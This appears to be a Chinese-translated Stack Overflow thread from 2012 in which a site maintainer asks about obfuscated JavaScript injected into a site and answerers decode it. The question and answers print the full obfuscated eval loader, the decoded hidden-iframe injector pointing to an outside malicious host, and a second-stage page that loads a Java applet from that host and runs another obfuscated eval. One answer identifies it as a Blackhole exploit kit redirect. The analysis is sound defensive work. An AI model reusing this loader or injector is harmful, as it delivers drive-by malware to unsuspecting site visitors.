这个 JavaScript hack 的目的是什么？

【问题标题】：What is the purpose of this JavaScript hack?这个 JavaScript hack 的目的是什么？
【发布时间】：2012-02-28 08:49:35
【问题描述】：

这段代码在我一直在维护的一个网站上弹出，你知道这里发生了什么吗？

if (window.document) aa = [] + 0;
aaa = 0 + [];
if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a");
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}
q = ss;
if (f) e(q);

edit 提醒q 导致此代码

if (document.getElementsByTagName('body')[0]) {
            iframer();
        } else {
            document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
        }
        function iframer() {
            var f = document.createElement('iframe');
            f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
            f.style.visibility = 'hidden';
            f.style.position = 'absolute';
            f.style.left = '0';
            f.style.top = '0';
            f.setAttribute('width', '10');
            f.setAttribute('height', '10');
            document.getElementsByTagName('body')[0].appendChild(f);
        }

来自http://update-kb18628311.com/check.php?date=08eaceaccc546a53

<html>

    <body>
        <applet code='&#80;hoto.class' archive='http://update-kb18628311.com/content&#47;jav2.jar'>
            <param name="p" value="v&#115;sMlgghMA7s6af.dB=3B%ddPJFUgYPMvM-Vc/oAd/G6cr"
            />
        </applet>
        <div style="color:red;">
            <p style="display:none;">ti#y/SNIP/#ti#ye#uw#to#tu#ur#w#qr#y#y#y#-q#qu#ie#ue#up#yy#y#-w#-q#qu</p>
        </div>
        <script>
            ss = 's';
            g = 'g';
            r = 'r';
            d = 'd';
            c = 'c';
            t = 't';
            try {
                new window(123).typ;
            } catch (qq) {
                aa = /s/g.exec("a" + "sd").index + [];
                e = window.eval;
                cc = document;
            }
            aaa = 1 + [];
            i = 0;
            try {
                new btoa({});
            } catch (qqq) {
                if (aaa == aa) for (;;) {
                    a = cc.body[c + 'h' + 'ildNodes'][i];
                    if (a[t + "agName"].toLowerCase() == "div") break;
                    i++;
                }
                try {
                    new btoa(12);
                } catch (qqq) {
                    r += "eplace";
                }
                a = a[c + 'hildNodes'][0].innerHTML;
                a = a[r](/q/g, "1");
                a = a[r](/w/g, "2");
                a = a[r](/e/g, "3");
                a = a[r](/r/g, "4");
                a = a[r](/t/g, "5");
                a = a[r](/y/g, "6");
                a = a[r](/u/g, "7");
                a = a[r](/i/g, "8");
                a = a[r](/o/g, "9");
                a = a[r](/p/g, "0");
            }
            a = a.split("#");
            md = 'a';
            c = [];
            i = 0;
            p = parseInt;
            try {
                new window(123).typ;
            } catch (qqq) {
                qq = String;
            }
            try {
                new btoa(12);
            } catch (qqq) {
                fr = "ode";
            }
            try {
                new window(123).typ;
            } catch (qqq) {
                qq2 = e("qq.fromCharC" + fr);
            }
            if (aaa == aa) {
                while (13153 > i) {
                    vv = a[i];
                    r2 = cc = qq2(40 + 2 + 1 * vv);
                    r = c;
                    if (fr) c = r + r2;
                    i = i + 1;
                }
                w = e;
                w(c);
            }
        </script>
    </body>

</html>

【问题讨论】：

标签： javascript security xss


【解决方案1】：

它注入以下 iframe：

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

这不是很复杂，我们来过一遍（你可以在控制台中轻松验证这一切）：

if (window.document) aa = [] + 0;
aaa = 0 + [];

如果我们检查控制台：aa === "0" 和 aaa === "0" 那么下一个 if 的计算结果为 true：

if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}

这里所做的只是我们将eval 函数简化为供以后使用，并构建了一个字符串f === "fromCharCode"，我们将使用它来调用String.fromCharCode，以便稍后将ascii 代码转换为实际的javascript 命令.

h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "..." // ascii based code
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}

在循环中，我们只是如前所述构建字符串。我想三角函数只是为了混淆，虽然它不是很混淆。

q = ss;
if (f) e(q);

最后if(f) 将评估为真，因为f 是一个非空字符串，因此我们调用e，这是我们之前创建的eval 快捷方式，使用我们从代码中构建的字符串。我粘贴在顶部的结果代码。

【讨论】：

    【解决方案2】：

    这就是代码的计算结果：

    if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

    看起来像病毒

    因此，您维护的网站可能在某些时候容易受到攻击。有人将此代码注入网站；通过 XSS 和/或 SQL 注入

    【讨论】：

    • 它也可能被心怀不满的员工手动包含，通过不安全的 FTP 或 SFTP 配置上传，通过 浏览器 注入代码中它可能以不同的方式出现。
    【解决方案3】：

    检查控制台输出以查看代码尝试评估的内容：

    http://jsfiddle.net/AZsGW/

    【讨论】：

      【解决方案4】：

      它是 Blackhole Exploit Kit 的转发链接。它很可能试图在您的机器上安装 Zeus/Zbot。通过禁用 JavaScript 或运行浏览器插件链接 noscript 来保护自己。

      【讨论】：

        猜你喜欢
        • 2011-03-11
        • 2017-10-03
        • 2011-08-17
        • 1970-01-01
        • 2010-10-13
        • 2011-02-18
        • 2014-01-19
        • 2012-12-16
        相关资源
        最近更新 更多
        热门标签
        Java Python linux javascript Mysql C# Docker 算法 前端 SpringBoot Redis Vue spring 设计模式 .net core .net kubernetes c++ 数据库 数据结构 大数据 js 机器学习 微服务 Android Go 程序员 面试 JVM ASP.net core 云原生 人工智能 后端 PHP git CSS golang k8s Nginx Django mybatis 深度学习 多线程 React 架构 devops 爬虫 云计算 Spring Boot LeetCode